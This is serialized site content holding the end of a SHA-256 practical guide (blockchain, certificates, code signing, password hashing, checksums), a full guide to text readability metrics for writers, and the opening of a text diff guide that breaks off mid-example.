today.",[11,250464,250466],{"id":250465},"sha-256-in-blockchain","SHA-256 in Blockchain",[16,250468,250469],{},"Bitcoin was the first major system to build its entire architecture around SHA-256. The protocol uses it in two critical ways:",[33,250471,250473],{"id":250472},"proof-of-work","Proof of Work",[16,250475,250476,250477,250480],{},"Miners compete to find a nonce that produces a block hash below a target value. Bitcoin uses ",[47,250478,250479],{},"double SHA-256"," — hashing the hash — for this computation:",[135,250482,250485],{"className":250483,"code":250484,"language":140},[138],"Block Header → SHA-256 → SHA-256 → Must be below target\n",[143,250486,250484],{"__ignoreMap":141},[16,250488,250489],{},"This design makes mining computationally expensive but verification trivial. Anyone can recompute the hash in milliseconds.",[33,250491,250493],{"id":250492},"transaction-verification","Transaction Verification",[16,250495,250496],{},"Every Bitcoin transaction includes a SHA-256 hash that links it to previous transactions. This creates an immutable chain — altering any transaction would break every subsequent hash, making tampering immediately detectable.",[33,250498,250500],{"id":250499},"beyond-bitcoin","Beyond Bitcoin",[41,250502,250503,250512,250518],{},[44,250504,250505,1856,250508,250511],{},[47,250506,250507],{},"Bitcoin Cash",[47,250509,250510],{},"Bitcoin SV"," also use SHA-256",[44,250513,250514,250517],{},[47,250515,250516],{},"Smart contract platforms"," like Syscoin use SHA-256 for auxiliary operations",[44,250519,250520,250523],{},[47,250521,250522],{},"IPFS"," uses SHA-256 as the default hash for content addressing",[11,250525,250527],{"id":250526},"sha-256-in-ssltls-certificates","SHA-256 in SSL\u002FTLS Certificates",[16,250529,250530],{},"When you visit a website with HTTPS, the certificate chain relies on SHA-256 signatures. After SHA-1 was deprecated in 2017, the entire PKI ecosystem migrated to SHA-256.",[33,250532,31483],{"id":31482},[77,250534,250535,250538,250541,250544],{},[44,250536,250537],{},"Certificate Authority (CA) creates a certificate with your domain details",[44,250539,250540],{},"CA signs the certificate using SHA-256 with their private key",[44,250542,250543],{},"Browsers verify the signature using the CA's public key",[44,250545,250546],{},"Any modification to the certificate invalidates the signature",[135,250548,250551],{"className":250549,"code":250550,"language":140},[138],"Certificate Data → SHA-256 → RSA\u002FECDSA Signature\n",[143,250552,250550],{"__ignoreMap":141},[16,250554,250555],{},"If a certificate still uses SHA-1, modern browsers will reject it and display a security warning.",[11,250557,250559],{"id":250558},"sha-256-in-code-signing","SHA-256 in Code Signing",[16,250561,250562],{},"Software publishers sign their executables and packages with SHA-256 to prove authenticity. This protects users from downloading tampered or malicious versions.",[33,250564,250566],{"id":250565},"package-managers","Package Managers",[41,250568,250569,250577,250583],{},[44,250570,250571,250573,250574,250576],{},[47,250572,41383],{}," uses SHA-512 for integrity checks (sha512 in ",[143,250575,242377],{}," field), but SHA-256 remains common in older configurations",[44,250578,250579,250582],{},[47,250580,250581],{},"Docker"," image layers are identified by SHA-256 digests",[44,250584,250585,250588],{},[47,250586,250587],{},"Python PyPI"," uses SHA-256 for package integrity hashes",[33,250590,250592],{"id":250591},"code-signing-certificates","Code Signing Certificates",[16,250594,250595],{},"Operating systems verify code signatures using SHA-256 before allowing software to run. Unsigned or SHA-1-signed software triggers security warnings on Windows, macOS, and most Linux desktops.",[11,250597,250599],{"id":250598},"sha-256-for-password-verification","SHA-256 for Password Verification",[16,250601,250602,250603,250606],{},"SHA-256 alone is ",[47,250604,250605],{},"not suitable"," for password storage — it is too fast, making brute-force attacks practical. However, SHA-256 plays a role in password systems when combined with proper key derivation:",[33,250608,250610],{"id":250609},"with-salt-and-iterations-pbkdf2","With Salt and Iterations (PBKDF2)",[135,250612,250614],{"className":1607,"code":250613,"language":1609,"meta":141,"style":141},"const crypto = require('crypto');\n\nfunction hashPassword(password, salt) {\n  return crypto.pbkdf2Sync(password, salt, 600000, 32, 'sha256').toString('hex');\n}\n\nconst salt = crypto.randomBytes(16).toString('hex');\nconst hash = hashPassword('user_password', salt);\n\u002F\u002F Store both salt and hash\n",[143,250615,250616,250632,250636,250654,250687,250691,250695,250722,250739],{"__ignoreMap":141},[1560,250617,250618,250620,250622,250624,250626,250628,250630],{"class":1562,"line":1563},[1560,250619,8180],{"class":1669},[1560,250621,41881],{"class":1576},[1560,250623,8186],{"class":1669},[1560,250625,20658],{"class":1566},[1560,250627,1688],{"class":1570},[1560,250629,41890],{"class":5634},[1560,250631,1744],{"class":1570},[1560,250633,250634],{"class":1562,"line":337},[1560,250635,1702],{"emptyLinePlaceholder":363},[1560,250637,250638,250640,250643,250645,250648,250650,250652],{"class":1562,"line":343},[1560,250639,8648],{"class":1669},[1560,250641,250642],{"class":1566}," hashPassword",[1560,250644,1688],{"class":1570},[1560,250646,250647],{"class":2219},"password",[1560,250649,1459],{"class":1570},[1560,250651,237423],{"class":2219},[1560,250653,9345],{"class":1570},[1560,250655,250656,250658,250660,250663,250666,250669,250671,250673,250675,250677,250679,250681,250683,250685],{"class":1562,"line":365},[1560,250657,9350],{"class":1669},[1560,250659,41913],{"class":1570},[1560,250661,250662],{"class":1566},"pbkdf2Sync",[1560,250664,250665],{"class":1570},"(password, salt, ",[1560,250667,250668],{"class":1576},"600000",[1560,250670,1459],{"class":1570},[1560,250672,36042],{"class":1576},[1560,250674,1459],{"class":1570},[1560,250676,151744],{"class":5634},[1560,250678,9368],{"class":1570},[1560,250680,10052],{"class":1566},[1560,250682,1688],{"class":1570},[1560,250684,41938],{"class":5634},[1560,250686,1744],{"class":1570},[1560,250688,250689],{"class":1562,"line":889},[1560,250690,1585],{"class":1570},[1560,250692,250693],{"class":1562,"line":1710},[1560,250694,1702],{"emptyLinePlaceholder":363},[1560,250696,250697,250699,250702,250704,250706,250708,250710,250712,250714,250716,250718,250720],{"class":1562,"line":1717},[1560,250698,8180],{"class":1669},[1560,250700,250701],{"class":1576}," salt",[1560,250703,8186],{"class":1669},[1560,250705,41913],{"class":1570},[1560,250707,41916],{"class":1566},[1560,250709,1688],{"class":1570},[1560,250711,10057],{"class":1576},[1560,250713,9368],{"class":1570},[1560,250715,10052],{"class":1566},[1560,250717,1688],{"class":1570},[1560,250719,41938],{"class":5634},[1560,250721,1744],{"class":1570},[1560,250723,250724,250726,250728,250730,250732,250734,250736],{"class":1562,"line":1747},[1560,250725,8180],{"class":1669},[1560,250727,151591],{"class":1576},[1560,250729,8186],{"class":1669},[1560,250731,250642],{"class":1566},[1560,250733,1688],{"class":1570},[1560,250735,238397],{"class":5634},[1560,250737,250738],{"class":1570},", salt);\n",[1560,250740,250741],{"class":1562,"line":2507},[1560,250742,250743],{"class":1649},"\u002F\u002F Store both salt and hash\n",[33,250745,27806],{"id":27805},[16,250747,250748,250749,250752],{},"For new projects, prefer ",[47,250750,250751],{},"Argon2id"," over PBKDF2. Argon2id is memory-hard, making it resistant to GPU and ASIC attacks:",[135,250754,250756],{"className":1607,"code":250755,"language":1609,"meta":141,"style":141},"const argon2 = require('argon2');\n\nconst hash = await argon2.hash('user_password', {\n  type: argon2.argon2id,\n  memoryCost: 65536,  \u002F\u002F 64 MB\n  timeCost: 3,\n  parallelism: 4\n});\n",[143,250757,250758,250774,250778,250798,250803,250816,250825,250833],{"__ignoreMap":141},[1560,250759,250760,250762,250764,250766,250768,250770,250772],{"class":1562,"line":1563},[1560,250761,8180],{"class":1669},[1560,250763,238047],{"class":1576},[1560,250765,8186],{"class":1669},[1560,250767,20658],{"class":1566},[1560,250769,1688],{"class":1570},[1560,250771,238056],{"class":5634},[1560,250773,1744],{"class":1570},[1560,250775,250776],{"class":1562,"line":337},[1560,250777,1702],{"emptyLinePlaceholder":363},[1560,250779,250780,250782,250784,250786,250788,250790,250792,250794,250796],{"class":1562,"line":343},[1560,250781,8180],{"class":1669},[1560,250783,151591],{"class":1576},[1560,250785,8186],{"class":1669},[1560,250787,28065],{"class":1669},[1560,250789,238080],{"class":1570},[1560,250791,151663],{"class":1566},[1560,250793,1688],{"class":1570},[1560,250795,238397],{"class":5634},[1560,250797,49495],{"class":1570},[1560,250799,250800],{"class":1562,"line":365},[1560,250801,250802],{"class":1570},"  type: argon2.argon2id,\n",[1560,250804,250805,250808,250811,250813],{"class":1562,"line":889},[1560,250806,250807],{"class":1570},"  memoryCost: ",[1560,250809,250810],{"class":1576},"65536",[1560,250812,20536],{"class":1570},[1560,250814,250815],{"class":1649},"\u002F\u002F 64 MB\n",[1560,250817,250818,250821,250823],{"class":1562,"line":1710},[1560,250819,250820],{"class":1570},"  timeCost: ",[1560,250822,17821],{"class":1576},[1560,250824,11943],{"class":1570},[1560,250826,250827,250830],{"class":1562,"line":1717},[1560,250828,250829],{"class":1570},"  parallelism: ",[1560,250831,250832],{"class":1576},"4\n",[1560,250834,250835],{"class":1562,"line":1747},[1560,250836,11809],{"class":1570},[16,250838,250839,250841],{},[47,250840,42103],{},": Use SHA-256 for integrity checks. Use Argon2id or bcrypt for passwords.",[11,250843,250845],{"id":250844},"sha-256-for-file-integrity","SHA-256 for File Integrity",[16,250847,250848],{},"Verifying file integrity is one of the most common practical uses of SHA-256:",[33,250850,250852],{"id":250851},"software-downloads","Software Downloads",[16,250854,250855],{},"Most projects publish SHA-256 checksums alongside their release files:",[135,250857,250859],{"className":6951,"code":250858,"language":6953,"meta":141,"style":141},"# Verify a download on Linux\u002FmacOS\nshasum -a 256 downloaded-file.zip\n# Compare output to the published checksum\n",[143,250860,250861,250866,250876],{"__ignoreMap":141},[1560,250862,250863],{"class":1562,"line":1563},[1560,250864,250865],{"class":1649},"# Verify a download on Linux\u002FmacOS\n",[1560,250867,250868,250870,250872,250874],{"class":1562,"line":337},[1560,250869,221999],{"class":1566},[1560,250871,222017],{"class":1576},[1560,250873,222020],{"class":1576},[1560,250875,103701],{"class":5634},[1560,250877,250878],{"class":1562,"line":343},[1560,250879,250880],{"class":1649},"# Compare output to the published checksum\n",[33,250882,250884],{"id":250883},"data-transfer-validation","Data Transfer Validation",[16,250886,250887],{},"When copying large datasets between servers, comparing SHA-256 hashes of source and destination files confirms a perfect transfer — no missing or corrupted bytes.",[33,250889,250891],{"id":250890},"backup-verification","Backup Verification",[16,250893,250894],{},"Backup systems compute SHA-256 hashes at creation time and verify them during restore. This ensures backups remain intact over months or years of storage.",[11,250896,250898],{"id":250897},"sha-256-in-version-control","SHA-256 in Version Control",[16,250900,250901],{},"Git is migrating from SHA-1 to SHA-256 for object identification. The SHA-256 format eliminates the theoretical collision risk that plagued SHA-1:",[135,250903,250906],{"className":250904,"code":250905,"language":140},[138],"# Current Git (SHA-1)\ngit log --oneline\na1b2c3d Fix login bug\n\n# Future Git (SHA-256 objects)\n# Uses longer 64-character hex identifiers\n",[143,250907,250905],{"__ignoreMap":141},[16,250909,250910],{},"This migration ensures content-addressed storage remains collision-free for decades.",[11,250912,250914],{"id":250913},"common-sha-256-patterns","Common SHA-256 Patterns",[193,250916,250917,250928],{},[196,250918,250919],{},[199,250920,250921,250923,250925],{},[202,250922,1775],{},[202,250924,18376],{},[202,250926,250927],{},"Security Level",[211,250929,250930,250943,250955,250968,250981],{},[199,250931,250932,250935,250940],{},[216,250933,250934],{},"File checksums",[216,250936,250937],{},[143,250938,250939],{},"SHA-256(data)",[216,250941,250942],{},"Strong",[199,250944,250945,250948,250953],{},[216,250946,250947],{},"Message auth",[216,250949,250950],{},[143,250951,250952],{},"HMAC-SHA-256(key, data)",[216,250954,250942],{},[199,250956,250957,250960,250965],{},[216,250958,250959],{},"Key derivation",[216,250961,250962],{},[143,250963,250964],{},"PBKDF2-SHA-256(password, salt, iterations)",[216,250966,250967],{},"Adequate",[199,250969,250970,250972,250978],{},[216,250971,151423],{},[216,250973,250974,250977],{},[143,250975,250976],{},"Argon2id(password)"," with SHA-256 KDF",[216,250979,250980],{},"Best",[199,250982,250983,250985,250990],{},[216,250984,151433],{},[216,250986,250987],{},[143,250988,250989],{},"ECDSA-SHA-256(message, privatekey)",[216,250991,250942],{},[11,250993,56070],{"id":56069},[16,250995,250996],{},"On modern hardware, SHA-256 performance varies by platform:",[41,250998,250999,251005,251011,251017],{},[44,251000,251001,251004],{},[47,251002,251003],{},"x86-64 with SHA-NI",": ~2 GB\u002Fs (hardware acceleration)",[44,251006,251007,251010],{},[47,251008,251009],{},"ARM with SHA2 extensions",": ~1.5 GB\u002Fs (hardware acceleration)",[44,251012,251013,251016],{},[47,251014,251015],{},"x86-64 without SHA-NI",": ~500 MB\u002Fs (software)",[44,251018,251019,251022],{},[47,251020,251021],{},"Web Crypto API (browser)",": ~300-800 MB\u002Fs depending on hardware",[16,251024,251025],{},"For most applications, SHA-256 is fast enough that it is never the bottleneck.",[11,251027,321],{"id":320},[41,251029,251030,251034,251038],{},[44,251031,251032],{},[98,251033,238665],{"href":237542},[44,251035,251036],{},[98,251037,237494],{"href":237493},[44,251039,251040],{},[98,251041,241827],{"href":241826},[11,251043,286],{"id":285},[16,251045,251046,251047,251049],{},"Want to see SHA-256 in action? Use our free ",[98,251048,86434],{"href":86433}," to compute SHA-256 hashes for any text instantly. All processing happens locally in your browser — your data never leaves your device.",[16,251051,251052],{},"Try hashing a file name, a sentence, or even a single character. Then change one letter and watch the hash transform completely.",[16,251054,251055],{},[98,251056,251057],{"href":86433},"Calculate SHA-256 hashes now →",[2043,251059,251060],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":251062},[251063,251064,251069,251072,251076,251080,251085,251086,251087,251088,251089],{"id":250455,"depth":337,"text":250456},{"id":250465,"depth":337,"text":250466,"children":251065},[251066,251067,251068],{"id":250472,"depth":343,"text":250473},{"id":250492,"depth":343,"text":250493},{"id":250499,"depth":343,"text":250500},{"id":250526,"depth":337,"text":250527,"children":251070},[251071],{"id":31482,"depth":343,"text":31483},{"id":250558,"depth":337,"text":250559,"children":251073},[251074,251075],{"id":250565,"depth":343,"text":250566},{"id":250591,"depth":343,"text":250592},{"id":250598,"depth":337,"text":250599,"children":251077},[251078,251079],{"id":250609,"depth":343,"text":250610},{"id":27805,"depth":343,"text":27806},{"id":250844,"depth":337,"text":250845,"children":251081},[251082,251083,251084],{"id":250851,"depth":343,"text":250852},{"id":250883,"depth":343,"text":250884},{"id":250890,"depth":343,"text":250891},{"id":250897,"depth":337,"text":250898},{"id":250913,"depth":337,"text":250914},{"id":56069,"depth":337,"text":56070},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how SHA-256 is used in practice. From blockchain to SSL certificates, discover real-world applications of SHA-256.",{"immutable":363},{"title":250450,"description":251090},"guides\u002Fsha-256-practical-guide","ru8GVkWUyT4p905-e9FYXJJ7JsCgNUkUFkriKlQ6WWI",{"id":251096,"title":251097,"body":251098,"date":235803,"description":251650,"extension":361,"meta":251651,"navigation":363,"path":24470,"readingTime":1710,"seo":251652,"stem":251653,"__hash__":251654},"guides\u002Fguides\u002Ftext-analysis-guide.md","Text Analysis Guide: Metrics That Matter for Writers",{"type":8,"value":251099,"toc":251623},[251100,251104,251107,251110,251114,251117,251153,251157,251188,251191,251195,251198,251224,251227,251230,251241,251245,251265,251269,251275,251279,251282,251364,251369,251375,251379,251382,251388,251395,251399,251419,251423,251426,251446,251450,251453,251457,251460,251466,251470,251490,251494,251497,251508,251511,251515,251572,251576,251579,251582,251593,251596,251598,251612,251614,251617],[11,251101,251103],{"id":251102},"beyond-word-count","Beyond Word Count",[16,251105,251106],{},"Word count tells you how long your text is — but not how good it is. Text analysis goes deeper, measuring readability, structure, density, and clarity. These metrics help you write content that ranks, converts, and actually gets read.",[16,251108,251109],{},"Whether you're writing blog posts, essays, or marketing copy, understanding these metrics gives you a competitive edge.",[11,251111,251113],{"id":251112},"word-count-vs-character-count","Word Count vs. Character Count",[16,251115,251116],{},"These two metrics serve different purposes:",[193,251118,251119,251130],{},[196,251120,251121],{},[199,251122,251123,251125,251127],{},[202,251124,15609],{},[202,251126,54155],{},[202,251128,251129],{},"When It Matters",[211,251131,251132,251143],{},[199,251133,251134,251137,251140],{},[216,251135,251136],{},"Word count",[216,251138,251139],{},"Number of words",[216,251141,251142],{},"Blog posts, essays, SEO content",[199,251144,251145,251147,251150],{},[216,251146,142798],{},[216,251148,251149],{},"Number of characters (with or without spaces)",[216,251151,251152],{},"Social media limits, SMS, meta descriptions",[33,251154,251156],{"id":251155},"when-character-count-matters-more","When Character Count Matters More",[41,251158,251159,251164,251170,251176,251182],{},[44,251160,251161,251163],{},[47,251162,184174],{},": 280-character limit",[44,251165,251166,251169],{},[47,251167,251168],{},"Meta descriptions",": Google typically shows ~155 characters",[44,251171,251172,251175],{},[47,251173,251174],{},"Title tags",": Aim for under 60 characters to avoid truncation",[44,251177,251178,251181],{},[47,251179,251180],{},"SMS marketing",": 160 characters per segment",[44,251183,251184,251187],{},[47,251185,251186],{},"Google Ads headlines",": 30 characters each",[16,251189,251190],{},"Always check which metric your platform requires. A 60-word paragraph might fit a 280-character tweet — or it might not, depending on word length.",[11,251192,251194],{"id":251193},"sentence-length-the-clarity-indicator","Sentence Length: The Clarity Indicator",[16,251196,251197],{},"Average sentence length is one of the strongest predictors of readability:",[41,251199,251200,251206,251212,251218],{},[44,251201,251202,251205],{},[47,251203,251204],{},"Under 15 words",": Very easy to read (children's books, simple instructions)",[44,251207,251208,251211],{},[47,251209,251210],{},"15–20 words",": Easy to read (blog posts, newsletters)",[44,251213,251214,251217],{},[47,251215,251216],{},"20–25 words",": Moderate difficulty (business writing, general articles)",[44,251219,251220,251223],{},[47,251221,251222],{},"25+ words",": Difficult (academic papers, legal documents)",[33,251225,16318],{"id":251226},"why-it-matters",[16,251228,251229],{},"Long sentences force readers to hold more information in working memory. When readers hit a 35-word sentence, they often:",[77,251231,251232,251235,251238],{},[44,251233,251234],{},"Re-read it once or twice",[44,251236,251237],{},"Lose the thread of your argument",[44,251239,251240],{},"Stop reading entirely",[33,251242,251244],{"id":251243},"how-to-fix-long-sentences","How to Fix Long Sentences",[41,251246,251247,251253,251259],{},[44,251248,251249,251252],{},[47,251250,251251],{},"One idea per sentence"," — If a sentence contains \"and\" or \"but,\" consider splitting it",[44,251254,251255,251258],{},[47,251256,251257],{},"Remove filler phrases"," — \"It is important to note that\" adds words but not meaning",[44,251260,251261,251264],{},[47,251262,251263],{},"Use periods liberally"," — Short sentences create rhythm and momentum",[11,251266,251268],{"id":251267},"readability-scores","Readability Scores",[16,251270,251271,251272,468],{},"Readability formulas estimate how easy a text is to understand. The most widely used is ",[47,251273,251274],{},"Flesch-Kincaid",[33,251276,251278],{"id":251277},"flesch-reading-ease","Flesch Reading Ease",[16,251280,251281],{},"Scores range from 0 to 100. Higher scores mean easier reading:",[193,251283,251284,251296],{},[196,251285,251286],{},[199,251287,251288,251291,251294],{},[202,251289,251290],{},"Score",[202,251292,251293],{},"Reading Level",[202,251295,133],{},[211,251297,251298,251309,251320,251331,251342,251353],{},[199,251299,251300,251303,251306],{},[216,251301,251302],{},"90–100",[216,251304,251305],{},"5th grade",[216,251307,251308],{},"Comic strips, children's books",[199,251310,251311,251314,251317],{},[216,251312,251313],{},"70–80",[216,251315,251316],{},"7th grade",[216,251318,251319],{},"Consumer-friendly writing",[199,251321,251322,251325,251328],{},[216,251323,251324],{},"60–70",[216,251326,251327],{},"8th–9th grade",[216,251329,251330],{},"Standard business writing",[199,251332,251333,251336,251339],{},[216,251334,251335],{},"50–60",[216,251337,251338],{},"10th–12th grade",[216,251340,251341],{},"Quality journalism",[199,251343,251344,251347,251350],{},[216,251345,251346],{},"30–50",[216,251348,251349],{},"College",[216,251351,251352],{},"Academic papers",[199,251354,251355,251358,251361],{},[216,251356,251357],{},"0–30",[216,251359,251360],{},"Graduate",[216,251362,251363],{},"Legal text, academic journals",[16,251365,251366],{},[47,251367,251368],{},"Formula:",[135,251370,251373],{"className":251371,"code":251372,"language":140,"meta":141},[138],"Flesch Reading Ease = 206.835 − (1.015 × Avg Sentence Length) − (84.6 × Avg Syllables Per Word)\n",[143,251374,251372],{"__ignoreMap":141},[33,251376,251378],{"id":251377},"flesch-kincaid-grade-level","Flesch-Kincaid Grade Level",[16,251380,251381],{},"This variant expresses readability as a U.S. school grade level:",[135,251383,251386],{"className":251384,"code":251385,"language":140,"meta":141},[138],"Grade Level = (0.39 × Avg Sentence Length) + (11.8 × Avg Syllables Per Word) − 15.59\n",[143,251387,251385],{"__ignoreMap":141},[16,251389,251390,251391,251394],{},"For web content, target a ",[47,251392,251393],{},"7th–9th grade level"," (scores of 60–80 on Reading Ease). This isn't \"dumbing down\" — it's respecting your reader's time.",[33,251396,251398],{"id":251397},"other-readability-formulas","Other Readability Formulas",[41,251400,251401,251407,251413],{},[44,251402,251403,251406],{},[47,251404,251405],{},"Gunning Fog Index",": Estimates years of formal education needed to understand the text",[44,251408,251409,251412],{},[47,251410,251411],{},"Coleman-Liau Index",": Uses characters per word instead of syllables — easier to calculate programmatically",[44,251414,251415,251418],{},[47,251416,251417],{},"Automated Readability Index (ARI)",": Similar to Flesch-Kincaid but uses characters instead of syllables",[11,251420,251422],{"id":251421},"paragraph-structure","Paragraph Structure",[16,251424,251425],{},"Good paragraphs are the building blocks of readable content:",[41,251427,251428,251434,251440],{},[44,251429,251430,251433],{},[47,251431,251432],{},"Ideal paragraph length",": 2–4 sentences for web content (40–80 words)",[44,251435,251436,251439],{},[47,251437,251438],{},"One topic per paragraph",": Readers shouldn't have to guess what a paragraph is about",[44,251441,251442,251445],{},[47,251443,251444],{},"First sentence = topic sentence",": Tell readers what the paragraph covers before they decide to skip it",[33,251447,251449],{"id":251448},"the-problem-with-wall-of-text-paragraphs","The Problem with Wall-of-Text Paragraphs",[16,251451,251452],{},"A 200-word paragraph on a screen looks like a wall. Readers see it and think \"I'll come back later\" — and they never do. Breaking the same content into four 50-word paragraphs with headers makes it approachable.",[11,251454,251456],{"id":251455},"keyword-density","Keyword Density",[16,251458,251459],{},"Keyword density measures how often a target keyword appears relative to total word count:",[135,251461,251464],{"className":251462,"code":251463,"language":140,"meta":141},[138],"Keyword Density = (Number of Keyword Appearances ÷ Total Word Count) × 100\n",[143,251465,251463],{"__ignoreMap":141},[33,251467,251469],{"id":251468},"recommended-ranges","Recommended Ranges",[41,251471,251472,251478,251484],{},[44,251473,251474,251477],{},[47,251475,251476],{},"1–2%",": Natural, safe range for most content",[44,251479,251480,251483],{},[47,251481,251482],{},"Over 3%",": Risk of being flagged as keyword stuffing",[44,251485,251486,251489],{},[47,251487,251488],{},"Under 0.5%",": Search engines may not recognize the topic",[33,251491,251493],{"id":251492},"better-than-density-semantic-coverage","Better Than Density: Semantic Coverage",[16,251495,251496],{},"Modern search engines understand synonyms and related concepts. Instead of repeating the same keyword, cover the topic thoroughly using:",[41,251498,251499,251502,251505],{},[44,251500,251501],{},"Synonyms and related terms",[44,251503,251504],{},"Questions people ask about the topic",[44,251506,251507],{},"Supporting examples and data",[16,251509,251510],{},"This approach reads naturally and satisfies both readers and algorithms.",[11,251512,251514],{"id":251513},"other-useful-text-metrics","Other Useful Text Metrics",[193,251516,251517,251527],{},[196,251518,251519],{},[199,251520,251521,251523,251525],{},[202,251522,15609],{},[202,251524,83502],{},[202,251526,226383],{},[211,251528,251529,251539,251550,251561],{},[199,251530,251531,251533,251536],{},[216,251532,37912],{},[216,251534,251535],{},"Vocabulary complexity",[216,251537,251538],{},"4–5 characters for general content",[199,251540,251541,251544,251547],{},[216,251542,251543],{},"Lexical diversity",[216,251545,251546],{},"Ratio of unique words to total words",[216,251548,251549],{},"Higher = more varied vocabulary",[199,251551,251552,251555,251558],{},[216,251553,251554],{},"Passive voice ratio",[216,251556,251557],{},"Percentage of passive constructions",[216,251559,251560],{},"Under 10% for engaging writing",[199,251562,251563,251566,251569],{},[216,251564,251565],{},"Transition word ratio",[216,251567,251568],{},"Cohesion and flow",[216,251570,251571],{},"15–20% for smooth reading",[33,251573,251575],{"id":251574},"passive-voice-the-energy-drain","Passive Voice: The Energy Drain",[16,251577,251578],{},"Active voice creates momentum: \"The team launched the product.\" Passive voice removes the actor: \"The product was launched.\" The passive version is weaker and adds unnecessary words.",[16,251580,251581],{},"Scan your text for these passive indicators:",[41,251583,251584,251587,251590],{},[44,251585,251586],{},"\"was + past participle\" (was written, was developed)",[44,251588,251589],{},"\"been + past participle\" (has been updated)",[44,251591,251592],{},"\"by + agent\" (approved by the committee)",[16,251594,251595],{},"Replace them with active constructions wherever possible.",[11,251597,321],{"id":320},[41,251599,251600,251604,251608],{},[44,251601,251602],{},[98,251603,24477],{"href":24476},[44,251605,251606],{},[98,251607,224799],{"href":224798},[44,251609,251610],{},[98,251611,7538],{"href":7537},[11,251613,286],{"id":285},[16,251615,251616],{},"Ready to analyze your writing? Our free word counter tool calculates word count, character count, sentence length, and estimated reading time — all in real time.",[16,251618,4531,251619],{},[98,251620,251621],{"href":3236},[47,251622,250420],{},{"title":141,"searchDepth":337,"depth":337,"links":251624},[251625,251626,251629,251633,251638,251641,251645,251648,251649],{"id":251102,"depth":337,"text":251103},{"id":251112,"depth":337,"text":251113,"children":251627},[251628],{"id":251155,"depth":343,"text":251156},{"id":251193,"depth":337,"text":251194,"children":251630},[251631,251632],{"id":251226,"depth":343,"text":16318},{"id":251243,"depth":343,"text":251244},{"id":251267,"depth":337,"text":251268,"children":251634},[251635,251636,251637],{"id":251277,"depth":343,"text":251278},{"id":251377,"depth":343,"text":251378},{"id":251397,"depth":343,"text":251398},{"id":251421,"depth":337,"text":251422,"children":251639},[251640],{"id":251448,"depth":343,"text":251449},{"id":251455,"depth":337,"text":251456,"children":251642},[251643,251644],{"id":251468,"depth":343,"text":251469},{"id":251492,"depth":343,"text":251493},{"id":251513,"depth":337,"text":251514,"children":251646},[251647],{"id":251574,"depth":343,"text":251575},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Go beyond word count. Learn about character count, sentence length, readability scores, and other text analysis metrics.",{"immutable":363},{"title":251097,"description":251650},"guides\u002Ftext-analysis-guide","CowH9IM3Ci9AKfMWp_-gseriXIfH-IDOqV5IYKh0MeI",{"id":251656,"title":251657,"body":251658,"date":235803,"description":252008,"extension":361,"meta":252009,"navigation":363,"path":35381,"readingTime":1710,"seo":252010,"stem":252011,"__hash__":252012},"guides\u002Fguides\u002Ftext-diff-guide.md","Text Comparison Guide: How Diff Tools Work",{"type":8,"value":251659,"toc":251989},[251660,251664,251670,251676,251680,251683,251685,251705,251712,251716,251720,251723,251757,251777,251783,251785,251788,251824,251829,251833,251836,251841,251843,251847,251850,251854,251857,251861,251871,251875,251878,251880,251924,251927,251931,251962,251964,251980,251982,251987],[11,251661,251663],{"id":251662},"what-is-a-diff","What Is a Diff?",[16,251665,251666,251667,251669],{},"A diff is the result of comparing two versions of a text and highlighting what changed. The term comes from \"difference\" and has been a cornerstone of software development since the 1970s, when Douglas McIlroy at Bell Labs created the original ",[143,251668,35165],{}," utility for Unix.",[16,251671,251672,251673],{},"At its core, a diff tool answers one question: ",[47,251674,251675],{},"what lines were added, removed, or changed between two texts?",[11,251677,251679],{"id":251678},"how-diff-tools-identify-changes","How Diff Tools Identify Changes",[16,251681,251682],{},"Diff tools break text into lines and search for the longest sequences that remain unchanged. These matching lines act as anchors. Everything between anchors is marked as deleted (from the old text) or added (in the new text).",[16,251684,136547],{},[77,251686,251687,251693,251699],{},[44,251688,251689,251692],{},[47,251690,251691],{},"Tokenize"," — Split both texts into comparable units (usually lines)",[44,251694,251695,251698],{},[47,251696,251697],{},"Match"," — Find the longest common subsequence between the two sets",[44,251700,251701,251704],{},[47,251702,251703],{},"Mark"," — Label unmatched lines as additions or deletions",[16,251706,251707,251708,251711],{},"Most tools also detect when a line was ",[7310,251709,251710],{},"modified"," rather than deleted and re-added — this is called a change edit and produces cleaner output.",[11,251713,251715],{"id":251714},"diff-output-formats","Diff Output Formats",[33,251717,251719],{"id":251718},"unified-diff","Unified Diff",[16,251721,251722],{},"Unified diff is the most common format. It shows changes in a single stream with a few lines of context around each change. Git uses this format by default.",[135,251724,251726],{"className":164532,"code":251725,"language":35165,"meta":141,"style":141},"@@ -2,5 +2,6 @@\n function greet(name) {\n-  console.log(\"Hello, \" + name);\n+  const message = `Hello, ${name}`;\n+  console.log(message);\n }\n",[143,251727,251728,251733,251738,251743,251748,251753],{"__ignoreMap":141},[1560,251729,251730],{"class":1562,"line":1563},[1560,251731,251732],{},"@@ -2,5 +2,6 @@\n",[1560,251734,251735],{"class":1562,"line":337},[1560,251736,251737],{}," function 